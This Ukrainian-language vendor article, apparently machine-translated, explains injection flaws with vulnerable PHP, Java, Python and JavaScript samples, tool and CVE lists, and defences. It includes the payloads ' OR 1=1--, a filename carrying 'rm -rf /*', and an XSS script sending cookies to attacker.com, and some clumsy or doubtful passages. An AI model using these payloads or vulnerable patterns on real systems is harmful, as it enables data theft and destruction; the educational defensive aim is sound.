16 Лют, 2023

Дефекти впорскування

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Дефекти впорскування відноситься до типу уразливості безпеки в комп'ютерних системах і програмних додатках, які дозволяють зловмиснику вводити і виконувати ненавмисний код або команди в поля введення додатка.

Зловмисники можуть скористатися недоліками впровадження, впроваджуючи шкідливий код або команди в поля введення, такі як форми входу в систему, поля пошуку або будь-які інші області, де допускається введення даних користувачем. Це може призвести до виконання ненавмисних дій, таких як витяг конфіденційних даних, змінення та видалення даних або навіть отримання несанкціонованого доступу до всієї системи.

Приклад уразливого коду на різних мовах програмування:


в ін'єкції в PHP:

				
					$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

				
			


У цьому коді зловмисник може маніпулювати вхідними значеннями username и password поля для введення SQL-коду, який може змінювати або видаляти дані з бази даних. Щоб запобігти це, розробники повинні використовувати підготовлені інструкції або параметризрвані запити, щоб уникнути прямого вбудовування користувальницького введення в SQL-запити.

• в SQL-ін'єкція в Java:

				
					String username = request.getParameter("username");
String password = request.getParameter("password");

String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
ResultSet result = statement.executeQuery(query);

				
			


Аналогічно, наприклад, PHP, зловмисник може маніпулювати username и password поля для введення SQL-коду. Щоб запобігти це, розробники повинні використовувати параметризрвані запити або збережені процедури замість динамічного побудови інструкцій SQL.

• у командному ін'єкції в Python:

				
					import os

filename = input("Enter a file name: ")
os.system("rm " + filename)

				
			


У цьому коді зловмисник може ввести шкідливу команду в якості filename текст, який буде виконаний за допомогою os.system() функція, що дозволяє зловмисникові виконати довільний код. Щоб запобігти це, розробники повинні використовувати належну перевірку та очищення вхідних даних і уникати використання користувальницького введення безпосередньо в командах оболонки.

• у міжсайтового скриптинга (XSS) на JavaScript:

				
					var searchQuery = document.getElementById("searchBox").value;
document.write("Search results for: " + searchQuery);

				
			


У цьому коді зловмисник може впровадити шкідливі скрипти в searchQuery змінна, яка виконуватиметься, коли document.write() викликається функція. Щоб запобігти це, розробники повинні очистити весь користувальницький введення і уникати використання document.write() або інші функції, які можуть виконувати користувальницький введення у вигляді HTML або коду скрипта.

Приклади експлуатаційних дефектів впорскування

• Використання SQL-ін'єкцій:

Зловмисник може впровадити шкідливий код SQL в полі введення, наприклад, у полі пошуку, форму входу в систему або розділ коментарів, щоб отримати доступ до конфіденційних даних або змінити вміст бази даних. Наприклад, зловмисник може ввести наступний код в форму входу у систему:

				
					' OR 1=1--

				
			


Це дозволить обійти перевірку автентичності і дозволить зловмиснику увійти в систему як будь-якому користувачеві в базі даних.

Використання командного ін'єкції:

Зловмисник може вводити шкідливі команди в полі введення, наприклад у форму завантаження файлу або вікно пошуку, для виконання довільного коду на сервері. Наприклад, зловмисник може завантажити файл з таким ім'ям:

				
					file; rm -rf /*

				
			


Це призведе до виконання rm -rf /* команда на сервері, що видаляє всі файли в кореневому каталозі.

Використання міжсайтових сценаріїв (XSS):

Зловмисник може впровадити шкідливі скрипти на веб-сторінку, щоб вкрасти конфіденційну інформацію або перехопити сеанси користувача. Наприклад, зловмисник може запровадити наступний скрипт в розділі коментарів:

				
					<script>
  fetch('http://attacker.com/log?key=' + document.cookie)
</script>


				
			


Це відправить файли cookie жертви на сервер зловмисника, дозволяючи зловмиснику видавати себе за жертву на веб-сайті.

Методи підвищення привілеїв для Дефекти впорскування

Підвищення привілеїв SQL-ін'єкції:

Зловмисник може використовувати SQL-ін'єкцію для отримання доступу до бази даних програми, а потім підвищити привілеї, змінивши або додавши дані в окремі таблиці. Наприклад, зловмисник може змінити роль користувача в базі даних, щоб отримати адміністративний доступ до додатка.

Підвищення привілеїв при Впровадженні команд:

Зловмисник може використовувати впровадження команд, щоб отримати доступ до системного інтерфейсу командного рядка, а потім підвищити привілеї, виконуючи команди з більш високими рівнями привілеїв. Наприклад, зловмисник може використовувати sudo команда для виконання команд від імені користувача root.

Підвищення привілеїв міжсайтового скриптинга (XSS):

Зловмисник може використовувати XSS для крадіжки користувальницьких файлів cookie або токенів сеансу, а потім використовувати їх для уособлення користувача і отримання доступу до більш високих рівнів привілеїв в додатку. Наприклад, зловмисник може використовувати вкрадені файли cookie для обходу перевірок достовірності та отримання адміністративного доступу до додатку.

Підвищення привілеїв на включення файлів:

Зловмисник може використовувати уразливості при включенні файлів, такі як локальне включення файлів (LFI) або віддалене включення файлів (RFI), щоб отримати доступ до конфіденційних файлів на сервері, а потім підвищити привілеї шляхом зміни цих файлів. Наприклад, зловмисник може змінити файл конфігурації, щоб надати собі адміністративний доступ до додатка.

Загальна методологія та контрольний список for Дефекти впорскування

Методологія:

  1. Визначте всі точки введення користувача в додатку: Шукайте будь-які поля, параметри або кінцеві точки API, які беруть користувальницький введення.

  2. Визначте типи даних і діапазони, що приймаються кожною вхідною точкою: Перевірте типи даних (наприклад, рядки, цілі числа, дати) і діапазони (наприклад, максимальні і мінімальні значення), прийняті кожною точкою вводу. Ця інформація допоможе вам створити відповідні корисні навантаження для кожної вхідної точки.

  3. Створення тестових прикладів та корисних навантажень: Створюйте тестові приклади і корисні навантаження для перевірки кожної вхідної точки. Тестові приклади повинні включати як правильні, так і неправильні вхідні дані, а корисне навантаження повинна включати різні символи, такі як одинарні лапки, лапки, крапки з комою і круглі дужки, які зазвичай використовуються при ін'єкційних атаках.

  4. Перевірка на наявність поширених вразливостей при впровадженні: Використовуйте відомі уразливості при впровадженні для перевірки кожної вхідної точки. Наприклад, протестуйте впровадження SQL, вставивши команди SQL в поля введення, протестуйте впровадження команд, вставивши команди командного рядка в поля введення, і протестуйте XSS, вставивши скрипти в поля введення.

  5. Перевірка на наявність користувальницьких вразливостей для ін'єкцій: Перевірка на наявність користувальницьких вразливостей для впровадження шляхом створення корисних навантажень, що використовують уразливості, характерні для конкретного додатка, наприклад, для користувача процедур перевірки вхідних даних, які можна обійти за допомогою ретельно оброблених вхідних даних.

  6. Аналіз результатів: Проаналізуйте результати ваших тестів, щоб виявити уразливості і визначити їх серйозність. Для кожної уразливості визначте вплив на додаток, ймовірність використання та ризик для організації.

  7. Повідомляти про уразливість і усувати їх: Повідомляти про уразливість відповідним зацікавленим сторонам, включаючи розробників, групи безпеки і керівництво, і працювати з ними над усуненням вразливостей.

  8. Повторне тестування: Повторіть тестування програми після усунення вразливостей, щоб переконатися, що вони були успішно усунені.

Контрольний список:

  1. Визначте всі точки введення користувача: Визначте всі точки введення в додатку, які беруть користувальницький введення, такі як поля, параметри і кінцеві точки API.

  2. Тест на SQL-ін'єкцію: Перевірте кожну точку вставки на наявність вразливостей при впровадженні SQL, ввівши SQL-команди в поля введення.

  3. Тест на введення команди: Перевірте кожну точку вставки на наявність вразливостей при впровадженні команд, ввівши команди командного рядка в поля введення.

  4. Тест на XSS: Перевірте кожну точку вставки на наявність вразливостей міжсайтового скриптинга (XSS), вводячи скрипти в поля введення.

  5. Перевірка на наявність вразливостей при включенні файлів: Перевірте кожну точку вставки на наявність вразливостей при включенні файлів, таких як локальне включення файлів (LFI) і дистанційне включення файлів (RFI), ввівши шляхи до файлів в поля введення.

  6. Тест на впровадження LDAP: Якщо додаток використовує LDAP для аутентифікації або авторизації, перевірте кожну точку вставки на наявність вразливостей для впровадження LDAP, ввівши команди LDAP в поля введення.

  7. Тест на впровадження XML: Якщо додаток використовує XML для обміну даними, перевірте кожну точку вставки на наявність вразливостей при впровадженні XML, ввівши XML-об'єкти в поля введення.

  8. Тест на впровадження коду: Перевірте кожну точку вставки на наявність вразливостей при впровадженні коду, таких як впровадження коду PHP, шляхом введення фрагментів коду поля вводу.

  9. Тест на впровадження команд операційної системи: Перевірте кожну точку вставки на наявність вразливостей при впровадженні команд ОС, таких як впровадження команд Windows, шляхом введення команд ОС в поля введення.

  10. Тест на впровадження NoSQL: Якщо додаток використовує базу даних NoSQL, перевірте кожну точку вставки на наявність вразливостей для впровадження NoSQL, вводячи запити NoSQL в поля введення.

  11. Перевірка на наявність користувальницьких вразливостей для ін'єкцій: Перевірка на наявність користувальницьких вразливостей для впровадження шляхом створення корисних навантажень, що використовують уразливості, характерні для конкретного додатка, наприклад, для користувача процедур перевірки вхідних даних, які можна обійти за допомогою ретельно оброблених вхідних даних.

  12. Тест для перевірки і очищення вхідних даних: Протестуйте процедури перевірки і очищення вхідних даних програми, щоб переконатися, що вони ефективно блокують шкідливий enter.

  13. Аналіз результатів: Проаналізуйте результати ваших тестів, щоб виявити уразливості і визначити їх серйозність. Для кожної уразливості визначте вплив на додаток, ймовірність використання та ризик для організації.

  14. Повідомляти про уразливість і усувати їх: Повідомляти про уразливість відповідним зацікавленим сторонам, включаючи розробників, групи безпеки і керівництво, і працювати з ними над усуненням вразливостей.

  15. Повторне тестування: Повторіть тестування програми після усунення вразливостей, щоб переконатися, що вони були успішно усунені.

Набір інструментів для експлуатації Дефекти впорскування

Ручні інструменти:

  • Burp Suite: Популярний інструмент тестування веб-додатків, що включає функції для виявлення і використання вразливостей SQL-ін'єкцій, XSS та інших вразливостей.

  • SQLMap: Інструмент тестування на проникнення з відкритим вихідним кодом, який автоматизує процес виявлення і використання вразливостей SQL-ін'єкцій.

  • Havij: Зручний інструмент для автоматизованих атак з використанням SQL-ін'єкцій з функціями зняття відбитків пальців, перерахування бази даних і отримання даних.

  • BeEF: Платформа для використання браузера, яка дозволяє зловмисникам контролювати веб-браузери і маніпулювати ними для виконання різних атак, включаючи ін'єкційні атаки.

  • Exploit Pack: Комплексна платформа тестування на проникнення, яка включає в себе широкий спектр інструментів для виявлення і використання вразливостей, пов'язаних з впровадженням, серед інших проблем безпеки.

  • Nmap: Інструмент дослідження мережі та аудиту безпеки, що включає функції для визначення відкритих портів і запущених служб, які можуть бути корисні для визначення потенційних точок впровадження.

  • Metasploit: Широко використовуваний інструмент тестування на проникнення, який включає в себе модулі для використання ряду недоліків, пов'язаних з впровадженням, а також інших проблем безпеки.

  • W3af: Платформа для атак і аудиту веб-додатків, яка включає модулі для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інші проблеми безпеки в Інтернеті.

  • Acunetix: Комерційний сканер безпеки веб-додатків, що включає функції для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інших проблем безпеки в Інтернеті.

  • ZAP: Сканер безпеки веб-додатків з відкритим вихідним кодом, що включає функції для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інших проблем безпеки в Інтернеті.

Автоматизовані інструменти:

  • AppScan: Комерційний сканер безпеки веб-додатків, що включає функції для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інших проблем безпеки в Інтернеті.

  • Netsparker: Комерційний сканер безпеки веб-додатків, що включає функції для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інших проблем безпеки в Інтернеті.

  • Qualys Web Application Scanning: Сканер безпеки хмарних веб-додатків, що включає функції для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інших проблем безпеки в Інтернеті.

  • IBM Security AppScan: Комерційний сканер безпеки веб-додатків, що включає функції для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інших проблем безпеки в Інтернеті.

  • Rapid7 InsightAppSec: Сканер безпеки хмарних веб-додатків, що включає функції для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інших проблем безпеки в Інтернеті.

  • Detectify: Сканер безпеки хмарних веб-додатків, що включає функції для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інших проблем безпеки в Інтернеті.

  • OWASP Attack Attack Proxy (ZAP): Сканер безпеки веб-додатків з відкритим вихідним кодом, що включає функції для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інших проблем безпеки в Інтернеті.

  • WebInspect: Комерційний сканер безпеки веб-додатків, що включає функції для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інших проблем безпеки в Інтернеті.

  • PortSwigger Burp Suite: Інструмент тестування веб-додатків, що включає функції для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інших проблем безпеки в Інтернеті.

  • Trustwave App Scanner: Комерційний сканер безпеки веб-додатків, що включає функції для виявлення і використання вразливостей, пов'язаних з впровадженням, а також інших проблем безпеки в Інтернеті.

Плагіни для браузера:

  • Tamper Data: Розширення Firefox, яке дозволяє користувачам переглядати та змінювати запити і відповіді HTTP / HTTPS, що може бути корисно для тестування вразливостей при впровадженні.

  • Hackbar: Розширення Firefox, яке дозволяє користувачам легко виконувати різні атаки на веб-додатки, включаючи ін'єкційні атаки.

  • SQL Inject Me: Розширення Firefox, яке дозволяє користувачам легко перевіряти уразливості SQL-ін'єкцій у веб-додатках.

  • XSS Me: Розширення Firefox, яке дозволяє користувачам легко перевіряти уразливості міжсайтових сценаріїв у веб-додатках.

  • Postman: Розширення Chrome, який дозволяє користувачам

Середній бал CVSS стек Дефекти впорскування

Середня оцінка CVSS помилок впровадження стека може сильно варіюватися в залежності від конкретної уразливості і її серйозності. CVSS, або Загальна система оцінки вразливостей, являє собою стандартизований метод оцінки серйозності вразливостей системи безпеки з оцінками в діапазоні від 0 до 10.

Помилки при впровадженні можуть бути особливо серйозними, оскільки вони можуть дозволити зловмисникам виконувати довільний код або отримувати доступ до конфіденційних даних. Деякі проблеми, пов'язані з впровадженням, такі як віддалене виконання коду, можуть бути оцінені як критичні з оцінкою CVSS 9,0 або вище. Інші проблеми, пов'язані з впровадженням, такі як впровадження SQL або міжсайтовий скриптінг, можуть бути оцінені як високі, з оцінками CVSS в діапазоні від 7.0 до 8.9. Однак конкретний показник CVSS для будь-якого даного дефекту впровадження буде залежати від безлічі факторів, включаючи тип і серйозність проблеми, складність програми і потенційний вплив на систему і користувачів. Важливо відзначити, що оцінки CVSS - це тільки один фактор, який слід враховувати при оцінці серйозності уразливості в системі безпеки, і що слід також брати до уваги інші фактори, такі як потенційний вплив на користувачів і організацію.

Загальна перерахування слабких місць (CWE)

CWE-89: впровадження SQL – це один з найбільш поширених типів помилок впровадження, коли зловмисник може впровадити шкідливі інструкції SQL у веб-додаток, щоб отримати доступ до конфіденційних даних.

CWE-79: Міжсайтовий скриптінг (XSS) – цей тип вразливості дозволяє зловмисникам впроваджувати шкідливий код у веб-додаток, який може бути виконаний нічого не підозрюють користувачів.

CWE-94: впровадження коду – цей тип помилки впровадження дозволяє зловмисникові впровадити шкідливий код у веб-додаток, що може призвести до виконання довільного коду.

CWE-611: Неправильне обмеження посилання на зовнішню сутність XML – цей тип помилки впровадження виникає, коли вхідні дані XML не перевіряються або не обробляються належним чином, що може призвести до розкриття конфіденційної інформації або виконання довільного коду.

CWE-352: Підробка міжсайтових запитів (CSRF) – Цей тип вразливості при впровадженні дозволяє зловмисникам обманом змусити користувачів виконувати дії у веб-додатку, які вони не збиралися виконувати, наприклад, здійснювати несанкціоновані транзакції.

CWE-434: необмежена завантаження файлу з небезпечним типом – цей тип помилки впровадження виникає, коли веб-додаток дозволяє користувачам завантажувати файли без належної перевірки або фільтрації, що може призвести до виконання шкідливого коду.

CWE-116: неправильне кодування або екранування вихідних даних – цей тип помилки впровадження виникає, коли веб-додаток неправильно очищає вводяться користувачем дані перед відображенням їх іншим користувачам, що може призвести до атак з використанням міжсайтових сценаріїв.

CWE-918: Підробка запитів на стороні сервера (SSRF) – Цей тип помилки впровадження дозволяє зловмисникові відправляти несанкціоновані запити до веб-застосунку, які можуть бути використані для доступу до конфіденційних даних або виконання дій від імені користувача.

CWE-601: перенаправлення URL–адреси на ненадійний сайт - цей тип помилки впровадження виникає, коли веб-додаток дозволяє користувачам передавати на зовнішні URL-адреси без належної перевірки або фільтрації, що може бути використано для обману користувачів при відвідуванні шкідливих веб-сайтів.

Топ-10 CVE, пов'язаних з Дефекти впорскування

CVE-2022-30321 – go-getter до 1.5.11 і 2.0.2 дозволяв довільний доступ до хосту через обхід шляху go-getter, обробку символічних посилань помилки впровадження команд. Виправлено у версії 1.6.1 і 2.1.0.

CVE-2018-14956 – CMS ISWEB 3.5.3 вразлива для безлічі помилок SQL-ін'єкцій. Зловмисник може впровадити шкідливі запити в додаток і отримати конфіденційну інформацію.

CVE-2017-9246 – Новий Relic .NET Agent до версії 6.3.123.0 додає помилки SQL-ін'єкцій в безпечні додатка за допомогою векторів, пов'язаних з неможливістю екранування лапок при використанні функції повільних запитів, про що свідчить неправильно оброблена лапки у реченні VALUES інструкції INSERT після обходу механізму захисту SET SHOWPLAN_ALL.

CVE-2017-1000247 -Технологічний інститут Британської Колумбії CodeIgniter 3.1.3 вразливий для впровадження HTTP-заголовка в загальну функцію set_status_header() в Apache, що призводить до помилок впровадження HTTP-заголовка.

CVE-2014-0163 – Openshift має недоліки впровадження команд оболонки з-за того, що у команди оболонки передаються неаналитизированные дані.

CVE-2012-2399 – Вразливість міжсайтового скриптинга (XSS) в swfupload.swf в SWFUpload 2.2.0.1 і більш ранніх версіях, яка використовувалася в WordPress до версії 3.5.2, TinyMCE Image Manager 1.1 і більш ранніх версіях та інших продуктах, що дозволяє віддаленим зловмисникам вводити довільний веб-скрипт або HTML-код через параметр buttonText, вразливість, відмінна від CVE-2012-3414.

CVE-2011-4075 – Функція masort в lib/functions.php у phpLDAPadmin 1.2.x до версії 1.2.2 дозволяє віддаленим зловмисникам виконувати довільний код PHP за допомогою параметра orderby (він же мінлива sortby) в дії query_engine для cmd.php як експлуатувався в дикій природі в жовтні 2011 року.

CVE-2011-4074 – Вразливість міжсайтового скриптинга (XSS) в cmd.php у phpLDAPadmin 1.2.x до версії 1.2.2 дозволяє віддаленим зловмисникам вводити довільний веб-скрипт або HTML за допомогою команди _debug.

CVE-2011-3186 – Вразливість впровадження CRLF в actionpack/lib/action_controller/response.rb в Ruby on Rails 2.3.x до версії 2.3.13 дозволяє віддаленим зловмисникам вводити довільні HTTP-заголовки і проводити атаки з поділом HTTP-відповіді через заголовок Content-Type.

CVE-2011-2930 – Численні уразливості SQL-ін'єкцій в методі quote_table_name в адаптерах ActiveRecord в activerecord/lib/active_record/connection_adapters/ в Ruby on Rails до версії 2.3.13, 3.0.x до версії 3.0.10 і 3.1.x до версії 3.1.0.rc5 дозволяють віддаленим зловмисникам виконувати довільні команди SQL за допомогою створеного імені стовпця.

Дефекти впорскування подвиги

SQL-ін'єкція:
Зловмисник може використовувати впровадження SQL для обходу аутентифікації або отримання доступу до конфіденційних даних шляхом впровадження шкідливого коду SQL до бази даних веб-додатки.

Введення команди:
Зловмисник може використовувати впровадження команд для виконання довільних команд в цільовій системі, впроваджуючи шкідливий код в інтерфейс командного рядка, веб-додатки.

Міжсайтовий скриптінг (XSS):
Зловмисник може використовувати XSS для впровадження шкідливого коду на сторінки веб-додатку, який може бути виконаний нічого не підозрюють користувачів і використаний для крадіжки даних або виконання інших шкідливих дій.

Впровадження XML-коду:
Зловмисник може використовувати впровадження XML для зміни функціональності веб-додатки шляхом впровадження шкідливого коду у вхідні дані XML, які можуть бути використані для виконання довільного коду або розкриття конфіденційної інформації.

Впровадження LDAP:
Зловмисник може використовувати впровадження LDAP для отримання несанкціонованого доступу до цільової системи шляхом впровадження шкідливого коду в запит LDAP.

Ін'єкція XQuery:
Зловмисник може використовувати впровадження XQuery для виконання довільного коду в цільовій системі, впроваджуючи шкідливий код у вхідні дані XQuery.

Впровадження XPath:
Зловмисник може використовувати впровадження XPath для зміни поведінки веб-додатки шляхом впровадження шкідливого коду в запит XPath, який може використовуватися для виконання довільного коду або розкриття конфіденційної інформації.

Впровадження коду:
Зловмисник може використовувати впровадження коду для виконання довільного коду в цільовій системі, впроваджуючи шкідливий код в вихідний код веб-додатки.

Впровадження HTTP-заголовка:
Зловмисник може використовувати впровадження HTTP-заголовка для маніпулювання заголовками HTTP-запиту або відповіді, які можуть бути використані для перенаправлення користувачів на шкідливі веб-сайти або крадіжки конфіденційних даних.

Підробка запитів на стороні сервера (SSRF):
Зловмисник може використовувати SSRF для отримання несанкціонованого доступу до цільової системи, маніпулюючи запитами, відправляються веб-додатком на інші сервери.

Практика в тестуванні на дефекти впорскування

Використання вразливих веб-додатків: Існує безліч доступних веб-додатків, які були навмисно зроблені уразливими для ін'єкційних атак, таких як проект OWASP WebGoat. Ці програми можна використовувати для практичного виявлення та використання вразливостей, пов'язаних з впровадженням, в безпечній і контрольованому середовищі.

Використовуйте інструменти тестування: Існує безліч автоматизованих інструментів для тестування вразливостей, пов'язаних з впровадженням, таких як Burp Suite, SQLMap і OWASP ZAP. Ці інструменти можуть допомогти виявити уразливості і дати рекомендації по їх усуненню.

Використовуйте ручні методи: Ручні методи, такі як фазирование і ручне тестування, також можуть бути ефективними при виявленні вразливостей, пов'язаних з впровадженням. Наприклад, фаззинг включає в себе відправлення великих обсягів вхідних даних у веб-додаток, щоб подивитися, чи не відреагує воно несподівано чи не станеться збій.

Беріть участь у заходах capture the flag (CTF): Заходи CTF - це змагання, в яких учасники намагаються вирішити проблеми безпеки, такі як виявлення і використання вразливостей, пов'язаних з впровадженням. Ці заходи можуть стати відмінним способом попрактикуватися у навичках тестування у веселій і складної обстановці.

Приєднуйтесь до онлайн-спільнот: Існує безліч онлайн-спільнот, присвячених безпеки веб-додатків, таких як спільнота OWASP. Приєднання до цих спільнот може забезпечити доступ до ресурсів, навчання та можливостей для співпраці з іншими в ході випробувань і експлуатації.

Відвідувати навчальні курси: Багато організації та навчальні заклади пропонують курси і семінари з безпеки та тестування веб-додатків. Відвідування цих курсів може дати практичний досвід і рекомендації щодо ефективного тестування на наявність дефектів уприскування.

Для вивчення дефектів впорскування

  1. OWASP Топ-10: Ін'єкції: Це докладне керівництво, надане проектом Open Web Application Security Project (OWASP), в якому розглядаються найбільш поширені типи помилок впровадження, а також методи їх усунення.

  2. Керівництво хакера веб-додатків: Це книга, написана Дэффиддом Штуттардом і Маркусом Пінто, яка охоплює широке коло питань безпеки веб-додатків, включаючи помилки при впровадженні. У ньому наводяться практичні приклади і методи виявлення і використання вразливостей, пов'язаних з впровадженням.

  3. Шпаргалка по SQL-ін'єкцій: Це докладне керівництво, надане проектом SQL Injection Defense, в якому розглядаються різні типи атак з використанням SQL-ін'єкцій, а також методи пом'якшення наслідків.

  4. SQLMap: Це інструмент з відкритим вихідним кодом для виявлення і використання вразливостей SQL-ін'єкцій. Це популярний інструмент, який використовується фахівцями з безпеки для виявлення і використання недоліків впровадження.

  5. Burp Suite: Це широко використовуваний інструмент для тестування безпеки веб-додатків, включаючи тестування на наявність дефектів впровадження. Він надає функції для ручного тестування, автоматичного сканування та багато іншого.

  6. Удемы: Udemy - це платформа онлайн-навчання, яка пропонує різні курси по тестуванню безпеки веб-додатків, в тому числі курси, спеціально присвячені недоліків впровадження.

  7. Хакер101: Це безкоштовна навчальна онлайн-платформа, яка надається HackerOne, яка пропонує ряд курсів з безпеки веб-додатків, включаючи курси, спеціально присвячені недоліків впровадження.

  8. ПентестерЛаб: Це онлайн-навчальна платформа, яка пропонує різні курси з безпеки веб-додатків, в тому числі курси, присвячені недоліків впровадження.

  9. YouTube: На YouTube є безліч відеоуроків, в яких розповідається про недоліки ін'єкцій і пов'язаних з ними теми. Вони можуть стати корисним ресурсом для тих, хто вивчає візуальний контент і воліє відеоконтент.

  10. Онлайн-спільноти: Існує безліч онлайн-спільнот, присвячених безпеки веб-додатків, таких як спільнота OWASP, де ви можете знайти ресурси, навчання і можливості для спільної роботи з іншими вивчення недоліків впровадження.

Книги з оглядом Дефекти впорскування

"Керівництво хакера веб-додатків: пошук і використання недоліків безпеки" автор: Дафидд Штуттард і Маркус Пінто – Ця всеосяжна книга охоплює широкий спектр вразливостей веб-додатків, включаючи помилки впровадження, з докладними прикладами і практичними рекомендаціями щодо їх запобігання та усунення.

"Атаки і захист з використанням SQL-ін'єкцій" автор: Джастін Кларк-Солт і Ден Бонех – У цій книзі, присвяченій SQL-ін'єкцій, розглядаються різні аспекти цього типу помилок при впровадженні, включаючи методи виявлення, запобігання і виправлення.

"Безпечне кодування на C та C ++" Роберт Сикорд – Ця книга містить докладне керівництво з написання безпечного коду на C та C ++ з особливим акцентом на запобігання атак з використанням ін'єкцій.

"Кулінарна книга з тестування веб-проникнення Python" Кемерон Б'юкенен, Террі Іп, Ендрю Маббитт і Бенджамін Мей – У цій книзі розглядаються різні уразливості веб-додатків, включаючи помилки впровадження, з практичними прикладами та покроковими інструкціями по їх виявлення та усунення.

"Основи злому і тестування на проникнення: етичний злом і тестування на проникнення стали простіше" автор: Патрік Энгебретсон – Ця книга для початківців містить огляд безпеки веб-додатків, включаючи помилки при впровадженні, з практичними вправами та прикладами з реального життя.

"Безпека веб-додатків, керівництво для початківців" Брайан Салліван, Вінсент Ллю і Майкл Ховард – У цій книзі розглядаються різні теми безпеки веб-додатків, включаючи помилки впровадження, з практичними прикладами і рекомендаціями щодо захисту веб-додатків.

"Межсайтовые скрипти і черв'яки JavaScript" Себастьєн Делирснайдер та ін. – Ця книга, спеціально присвячена міжсайтового скриптингу (XSS) і черв'якам JavaScript, охоплює різні аспекти цих типів помилок впровадження, включаючи методи виявлення та виправлення.

"Куленепробивний веб-дизайн: підвищення гнучкості і захист від найгірших сценаріїв за допомогою HTML5 і CSS3" автор: Ден Седерхолм – У цій книзі розглядаються кращі практики веб-дизайну, які можуть допомогти запобігти помилкам впровадження, такі як перевірка вхідних даних і очищення.

"Gray Hat Python: програмування на Python для хакерів і реверс-інженерів" автор: Джастін Зейтц – У цій книзі представлено практичне керівництво по використанню Python для тестування безпеки веб-додатків, включаючи виявлення та використання недоліків впровадження.

"Керівництво по тестуванню OWASP v4" Проект Open Web Application Security Project – Це всеосяжне керівництво охоплює різні уразливості веб-додатків, включаючи помилки впровадження, з практичними рекомендаціями щодо їх тестування та усунення будь-яких проблем.

Як захиститися від Дефекти впорскування

  1. Перевірка вхідних даних: Перевірте і очистіть весь користувальницький введення, перш ніж використовувати його в будь-якій логіці програми. Перевірка вхідних даних гарантує, що дані, введені користувачем, мають правильний формат, довжину і тип. Це також допомагає видалити небажані символи, які можуть викликати ін'єкційні атаки.

  2. Параметризрвані запити або підготовлені інструкції: Використовуйте параметризрвані запити або підготовлені інструкції для взаємодії з базами даних. Параметризрвані запити відокремлюють користувальницький введення від запиту і знижують ризик впровадження SQL.

  3. Використовуйте правильне кодування та екранування: Переконайтеся, що будь користувальницький введення правильно закодований і екранований перед використанням HTML, JavaScript чи інших контекстах. Це може допомогти запобігти міжсайтовий скриптінг (XSS) та інші ін'єкційні атаки.

  4. Обмеження привілеїв: Максимально обмежте права користувача, щоб звести до мінімуму наслідки атаки. Надайте користувачам тільки необхідний доступ для виконання їх завдань.

  5. Будьте в курсі останніх оновлень безпеки: Оновлюйте програмне забезпечення бібліотеки з допомогою останніх виправлень безпеки, щоб звести до мінімуму ризик відомих вразливостей.

  6. Регулярно виконуйте сканування і тестування вразливостей: Регулярно перевіряйте свій додаток на наявність вразливостей і перевіряйте на наявність помилок впровадження, щоб виявити і усунути будь-які потенційні проблеми.

Висновок

Дефекти впорскування є серйозною уразливістю в системі безпеки, яка може мати серйозні наслідки для веб-додатків, включаючи крадіжку даних, компрометацію системи та інші види кібератак. Помилки впровадження виникають, коли ненадійні дані відправляються інтерпретатору, який потім може виконувати довільний код або команди в системі.

Інші Послуги

Готові до безпеки?

зв'язатися з нами